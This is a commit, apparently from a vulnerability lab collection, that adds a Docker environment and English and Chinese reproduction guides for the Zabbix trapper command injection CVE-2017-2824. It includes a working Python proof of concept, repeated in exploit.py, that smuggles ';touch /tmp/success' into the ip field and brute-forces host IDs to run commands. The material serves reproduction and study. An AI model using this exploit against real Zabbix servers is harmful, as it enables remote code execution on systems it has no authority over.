first commit

zabbix/CVE-2017-2824/README.md

@@ -0,0 +1,70 @@
+# Zabbix Server Active Proxy Trapper Command Injection (CVE-2017-2824)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Zabbix is a server monitoring software that consists of server, agent, and web modules. The web module is written in PHP and is used to display results from the database.
+
+In the Zabbix version 2.0.x prior to 2.0.21, 2.2.x prior to 2.2.18, 2.4.x, 3.0.x prior to 3.0.9, or 3.2.x prior to 3.2.5, there is a code execution vulnerability in Zabbix's server-side trapper command functionality, where specific packets can cause command injection, leading to remote code execution. An attacker can trigger this vulnerability by initiating a request from a Zabbix proxy.
+
+Reference:
+
+- https://talosintelligence.com/reports/TALOS-2017-0325
+- https://support.zabbix.com/browse/ZBX-12075
+
+## Environment Setup
+
+Execute the following command to start a complete Zabbix 3.0.3 environment, including the Web interface, Server, 1 Agent, and MySQL database:
+
+```
+docker compose up -d
+```
+
+After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
+
+To exploit this vulnerability, you need to enable the auto-registration feature on the server side. First, log in to the backend as an administrator using the credentials `admin/zabbix`. Go to Configuration->Actions, change the Event source to Auto registration, then click Create action and create an Action with any name:
+
+![](1.png)
+
+In the third tab, create an Operation with type "Add Host":
+
+![](2.png)
+
+Save the settings. This enables the auto-registration feature, allowing attackers to register their servers as Agents.
+
+## Vulnerability Reproduction
+
+Use this simple POC to reproduce the vulnerability:
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+This POC is relatively basic and may need to be executed multiple times. When you see the following result, it indicates successful command execution:
+
+![](3.png)
+
+Enter the server container, and you can see that `/tmp/success` has been successfully created:
+
+![](4.png)
+
+Interested users can improve this POC and submit a Pull Request.

zabbix/CVE-2017-2824/README.zh-cn.md

@@ -0,0 +1,68 @@
+# Zabbix Server Active Proxy Trapper 命令注入漏洞（CVE-2017-2824）
+
+Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。
+
+在Zabbix版本2.0.x 2.0.21之前，2.2.x 2.2.18之前，2.4.x，3.0.x 3.0.9之前，或者3.2.x 3.2.5之前，Zabbix的server-side trapper命令功能存在一处代码执行漏洞，特定的数据包可造成命令注入，进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求，从而触发漏洞。
+
+参考链接：
+
+- https://talosintelligence.com/reports/TALOS-2017-0325
+- https://support.zabbix.com/browse/ZBX-12075
+
+## 环境搭建
+
+执行如下命令启动一个完整的Zabbix 3.0.3环境，包含Web端、Server端、1个Agent和Mysql数据库：
+
+```
+docker compose up -d
+```
+
+命令执行后，执行`docker compose ps`查看容器是否全部成功启动，如果没有，可以尝试重新执行`docker compose up -d`。
+
+利用该漏洞，需要你服务端开启了自动注册功能，所以我们先以管理员的身份开启自动注册功能。使用账号密码`admin/zabbix`登录后台，进入Configuration->Actions，将Event source调整为Auto registration，然后点击Create action，创建一个Action，名字随意：
+
+![](1.png)
+
+第三个标签页，创建一个Operation，type是"Add Host"：
+
+![](2.png)
+
+保存。这样就开启了自动注册功能，攻击者可以将自己的服务器注册为Agent。
+
+## 漏洞复现
+
+使用这个简单的POC来复现漏洞：
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+这个POC比较初级，请多执行几次，当查看到如下结果时，则说明命令执行成功：
+
+![](3.png)
+
+进入server容器，可见`/tmp/success`已成功创建：
+
+![](4.png)
+
+有兴趣的同学可以对这个POC进行改进，提交Pull Request。

zabbix/CVE-2017-2824/docker-compose.yml

@@ -0,0 +1,50 @@
+services:
+ server:
+   image: vulhub/zabbix:3.0.3-server
+   command: server
+   depends_on:
+    - mysql
+   environment: 
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+   ports: 
+    - "10051:10051"
+ agent:
+   image: vulhub/zabbix:3.0.3-server
+   command: agent
+   depends_on:
+    - mysql
+    - server
+   environment: 
+    - ZBX_SRV_HOST=server
+    - ZBX_SRV_HOST_ACT=server
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+ mysql:
+   image: mysql:5
+   environment: 
+    - MYSQL_ROOT_PASSWORD=root
+    - MYSQL_DATABASE=zabbix
+   volumes:
+    - ./database/:/docker-entrypoint-initdb.d/
+ web:
+   image: vulhub/zabbix:3.0.3-web
+   depends_on:
+    - server
+    - mysql
+   environment:
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+    - ZBX_SRV_HOST=server
+    - ZBX_SRV_PORT=10051
+   ports:
+    - "8080:80"

zabbix/CVE-2017-2824/exploit.py

@@ -0,0 +1,21 @@
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)